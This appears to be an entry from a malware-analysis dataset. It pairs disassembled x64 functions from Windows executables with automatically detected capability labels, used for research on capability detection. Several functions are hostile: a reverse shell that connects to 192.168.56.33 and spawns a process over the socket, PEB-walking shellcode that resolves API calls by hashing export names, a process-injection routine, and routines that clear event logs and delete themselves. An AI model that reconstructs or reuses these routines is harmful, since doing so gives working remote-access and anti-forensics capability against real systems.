joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000bfb8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c002
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c002
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c002
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c002
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c002
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c004
xor al, al
add rsp, 0x28
ret

Function at 0x14000f7b4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f613
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f613
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f613
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f613
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f613
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f613
cmp dword [rcx + 0xf8], 0
je 0x14000f613
mov ecx, ebx
call fcn.14000f6d0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f4a0
nop
cmp dword [rbp + 0x20], 0
je 0x14000f661
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f66c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f5a4
Function at 0x140018a84
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140018b0b
mov rsi, rbx
cmp word [rax], bp
je 0x140018aca
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140018ab4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140018ab0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400162c4
mov rdi, rax
test rax, rax
je 0x140018af8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000d580
mov rbp, rdi
xor ecx, ecx
call fcn.1400153f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001eea0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001eec8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001eec8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004470]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004480]
mov dword [rax], 1
mov rax, qword [0x140004490]
mov dword [rax], 1
mov rax, qword [0x140004410]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004460]
mov dword [0x140008020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004530]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004510]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001620
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001658
mov eax, 1
jmp 0x1400017b4
mov dword [rbp + 0x21c], 0x1f3e
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov eax, dword [rbp + 0x21c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rax, str.192.168.56.33
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x140001711
mov r8d, 0x18
lea rax, str._ERROR__connect_failed._n
mov rdx, rax
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x1400017b4
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, [0x140004077]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x2a0
pop rbp
ret

Function at 0x140001ab0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001b20
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x140008104]
mov r12, rcx
test ebx, ebx
jle 0x140001c50
mov rax, qword [0x140008108]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001b6b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001bf5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001b50
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001c72
mov rax, qword [0x140008108]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001bee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001c00
add dword [0x140008104], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x140008108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001bee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001b78
mov rax, qword [0x140008108]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400021f0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x140008160]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140008140]
test rbx, rbx
je 0x14000224c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140002243
test r12, r12
je 0x140002243
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002228
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002480
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002498
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400024a0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400024b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400024f5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400024ec
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400024f7
add rax, 0x28
cmp rax, r9
jne 0x1400024d8
xor eax, eax
ret

Function at 0x140002500
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140002590
mov rdx, qword [0x140004410]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000257e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000257e
cmp word [rax + 0x18], 0x20b
jne 0x14000257e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140002590
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002569
add r12, 0x28
cmp r12, rsi
je 0x140002590
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140002560
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400025a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002615
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000260c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400025c0
add rax, 0x28
cmp rax, r9
jne 0x1400025f8
xor eax, eax
ret

Function at 0x140002620
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004410]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002640
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002648
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002640
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002660
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004410]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002680
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002688
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002680
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400026c8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400026bf
test rcx, rcx
je 0x140002680
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400026b0
xor eax, eax
ret
Function at 0x1400026d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004410]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400026f0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400026f8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002710
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002730
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002738
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002730
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002730
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000277c
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002790
add rdx, 0x28
cmp rdx, r9
jne 0x140002768
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400027a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004410]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400027c2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400027d0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027c2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400027c2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400027c2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000281d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002830
add rdx, 0x28
cmp r10, rdx
jne 0x140002808
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000283f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000284f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002826
test ecx, ecx
jg 0x140002838
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400023f8
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov esi, 0x40000
mov rbp, rdx
mov edx, esi
mov r14, rcx
jmp 0x140002457
xor r9d, r9d
mov r8d, esi
mov rdx, rbx
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov edi, eax
test eax, eax
jns 0x140002490
mov edx, 0x6e6d736c
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp edi, 0xc0000004
jne 0x1400024cd
add esi, 0x40000
mov edx, esi
mov r8d, 0x6e6d736c
mov ecx, 1
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
jne 0x140002420
mov eax, 0xc000009a
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
test rbx, rbx
je 0x140002470
xor esi, esi
cmp dword [rbx], esi
jbe 0x1400024bf
mov eax, esi
mov rdx, rbp
imul rcx, rax, 0x128
add rcx, 8
add rcx, rbx
call r14
test al, al
jne 0x1400024bd
inc esi
cmp esi, dword [rbx]
jb 0x14000249b
jmp 0x1400024bf
xor edi, edi
mov edx, 0x6e6d736c
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, edi
jmp 0x140002475
Function at 0x14000af9c
Capabilities:
Parse credit card information

Disassembly:
mov byte [r9], 1
mov r10, rcx
cmp edx, 0x3a
jg 0x14000b018
je 0x14000b013
cmp edx, 8
je 0x14000aff9
cmp edx, 9
je 0x14000aff4
cmp edx, 0xa
je 0x14000afef
cmp edx, 0xb
je 0x14000afea
cmp edx, 0x34
je 0x14000afe1
jle 0x14000b065
cmp edx, 0x38
jle 0x14000afdc
cmp edx, 0x39
jne 0x14000b065
lea eax, [r8 - 0x63]
ret
lea eax, [r8 + 0x7d]
ret
and r8b, 7
lea eax, [r8 + 0x75]
ret
lea eax, [r8 + 0x65]
ret
lea eax, [r8 + 0x55]
ret
lea eax, [r8 + 0x45]
ret
xor ecx, ecx
cmp byte [r10 + 0x68], cl
je 0x14000b00e
lea eax, [r8 - 4]
cmp al, 3
ja 0x14000b00e
lea eax, [r8 + 0x3d]
ret
lea eax, [r8 + 0x31]
ret
lea eax, [r8 - 0x43]
ret
cmp edx, 0x3b
je 0x14000b06d
cmp edx, 0x3d
jle 0x14000b065
cmp edx, 0x3f
jle 0x14000b06d
cmp edx, 0x43
je 0x14000b050
cmp edx, 0x44
je 0x14000b04b
cmp edx, 0x45
je 0x14000b046
cmp edx, 0x47
jne 0x14000b065
movzx eax, r8b
add eax, dword [rcx + 0x130]
ret
lea eax, [r8 - 5]
ret
lea eax, [r8 - 0x15]
ret
movzx eax, byte [r9]
xor ecx, ecx
cmp r8b, 5
cmova eax, ecx
mov byte [r9], al
lea eax, [r8 - 0x1b]
ret
xor ecx, ecx
mov byte [r9], cl
xor al, al
ret
movzx eax, byte [r9]
xor ecx, ecx
cmp r8b, 7
cmova eax, ecx
mov byte [r9], al
lea eax, [r8 - 0x23]
ret

Function at 0x14000b128
Capabilities:
Parse credit card information

Disassembly:
mov byte [r9], 1
mov r10, rcx
cmp edx, 0x3a
jg 0x14000b1a3
je 0x14000b19e
cmp edx, 8
je 0x14000b185
cmp edx, 9
je 0x14000b180
cmp edx, 0xa
je 0x14000b17b
cmp edx, 0xb
je 0x14000b176
cmp edx, 0x34
je 0x14000b16d
jle 0x14000b1f0
cmp edx, 0x38
jle 0x14000b168
cmp edx, 0x39
jne 0x14000b1f0
lea eax, [r8 + 0x6c]
ret
lea eax, [r8 + 0x4c]
ret
and r8b, 7
lea eax, [r8 + 0x44]
ret
lea eax, [r8 + 0x34]
ret
lea eax, [r8 + 0x24]
ret
lea eax, [r8 + 0x14]
ret
xor ecx, ecx
cmp byte [r10 + 0x68], cl
je 0x14000b19a
lea eax, [r8 - 4]
cmp al, 3
ja 0x14000b19a
lea eax, [r8 + 0xc]
ret
mov al, r8b
ret
lea eax, [r8 - 0x74]
ret
cmp edx, 0x3b
je 0x14000b1f8
cmp edx, 0x3d
jle 0x14000b1f0
cmp edx, 0x3f
jle 0x14000b1f8
cmp edx, 0x43
je 0x14000b1db
cmp edx, 0x44
je 0x14000b1d6
cmp edx, 0x45
je 0x14000b1d1
cmp edx, 0x47
jne 0x14000b1f0
movzx eax, r8b
add eax, dword [rcx + 0x134]
ret
lea eax, [r8 - 0x36]
ret
lea eax, [r8 - 0x46]
ret
movzx eax, byte [r9]
xor ecx, ecx
cmp r8b, 5
cmova eax, ecx
mov byte [r9], al
lea eax, [r8 - 0x4c]
ret
xor ecx, ecx
mov byte [r9], cl
xor al, al
ret
movzx eax, byte [r9]
xor ecx, ecx
cmp r8b, 7
cmova eax, ecx
mov byte [r9], al
lea eax, [r8 - 0x54]
ret

Function at 0x140099000
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.14009902c
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.140002044
Function at 0x1400011c0
Capabilities:
Enumerate processes
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x280], rax
lea rdi, str.FiveM_b2060_GameProcess.exe
lea rsi, [0x140007cb0]

Function at 0x140001340
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Enumerate processes
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x568]
sub rsp, 0x640
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x500], rax
lea rdx, str.anydesk.exe
lea rcx, [rbp + 0x270]
call fcn.140005a90
nop
lea rdx, str.Anydesk.exe
lea rcx, [rbp + 0x290]
call fcn.140005a90
nop
lea rdx, str.ANYDESK.exe
lea rcx, [rbp + 0x2b0]
call fcn.140005a90
nop
lea rdx, str.anyDesk.exe
lea rcx, [rbp + 0x2d0]
call fcn.140005a90
nop
lea rbx, [rbp + 0x270]
nop dword [rax + rax]

Function at 0x140006204
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140006894
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400068de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400068de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400068de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400068de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400068de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400068e0
xor al, al
add rsp, 0x28
ret

Function at 0x14000c9b4
Capabilities:
Terminate process

Disassembly:
test r11, 0x4f134b36
not r14b
not r10d
mov r10d, 0x3590fab8
setle r10b
lea rax, [rax + r10 - 0x710006dd]
sub r11, 0x660a518b
cmp r14d, 0x97a7d5b8
call fcn.140011e75
push rcx
push r9
pushfq
movabs r9, 0xa311988c1593de30
cmp r9w, 0xbc1a
push r14
js 0x140001b67
movabs r14, 0x23b52e3e9eafe29a
jb 0x1400cafb7
Function at 0x140018950
Capabilities:
Encode data using xor

Disassembly:
push 0x7c2498ab
mov rcx, qword [rsp + 0x28]
or word [rsp + 0x78], 0x2b1b
xor edi, r10d
or r10b, r10b
mov rdi, qword [rsp + 0x58]
sub dword [rsp + 0x40], 0x5d8d59aa
shr qword [rsp + 0x40], 0x7e
or qword [rsp + 0x40], r10
and dword [rsp + 0x40], 0xde389eb5
sub word [rsp + 0x40], r10w
jge 0x14000ca12
mov rcx, qword [rsp + 0x60]
add dword [rsp + 0x40], r10d
setge r10b
call fcn.1401b6d1c
push r12
mov rdi, qword [rsp + 0x20]
pushfq
movabs r12, 0x7a21a787e01c161f
test r12w, r12w
push r8
jae 0x1401999aa
or byte [rsp + rdi*4 - 0x60e2e77c], r10b
xchg qword [rsp + 0x80], rbp
mov r8, qword [rsp + rdi*2 - 0x3071736e]
jle 0x140018950

Function at 0x140020ab1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
not r15
not r15b
shl r15w, 0xfd
mov qword [rsp + 0x38], rsi
test r15, r15
push r12
mov r15w, 0x3608
movzx r15w, r15b
add qword [rsp + 0x28], 0xffffffffffff7bb7

Function at 0x140023420
Capabilities:
Authenticate hmac
Packed with generic packer

Disassembly:
push r12
movabs r12, 0x3192e322223da60f
mov rbp, qword [rsp + 0x18]
mov r12b, 0xb6
pushfq
sub r12b, r12b

Function at 0x1400277f4
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Set console window title
Terminate process

Disassembly:
